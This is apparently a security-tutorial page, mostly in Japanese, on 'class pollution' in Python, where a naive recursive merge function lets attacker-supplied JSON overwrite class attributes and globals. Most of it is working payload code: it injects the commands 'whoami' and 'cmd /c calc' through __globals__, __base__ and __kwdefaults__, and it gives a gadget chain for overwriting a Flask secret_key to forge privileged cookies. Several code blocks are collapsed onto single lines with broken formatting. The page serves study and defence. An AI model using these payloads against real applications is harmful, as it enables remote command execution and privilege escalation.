Class Pollution (Python's Prototype Pollution)
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オブジェクトのクラスを文字列で汚染する方法を確認してください：
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0># Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary><code>globals</code>を通じて他のクラスやグローバル変数を汚染する</summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>__kwdefaults__の上書き</summary>
**`__kwdefaults__`**は、すべての関数の特別な属性です。Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)によると、これは「**キーワード専用**パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御できます。これらは、\*または\*argsの後に来る関数のパラメータです。
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Pollutedしたがって、WebのメインのPythonファイルで定義されたオブジェクトに対してクラスの汚染を行うことができますが、そのクラスがメインのファイルとは異なるファイルで定義されている場合があります。前述のペイロードで__globals__にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、そのファイル内のグローバルにアクセスできますが、メインのファイル内ではできません。 したがって、メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにアクセスすることはできません：
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'日本語訳：
このシナリオでは、メインファイルにアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで特権を昇格させるために、ファイルをトラバースするガジェットが必要です。
このようなペイロードは、この解説から取得できます：
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_keyこのペイロードを使用して、app.secret_key（アプリ内の名前は異なる場合があります）を変更して、新しい特権を持つFlaskクッキーに署名できるようにします。
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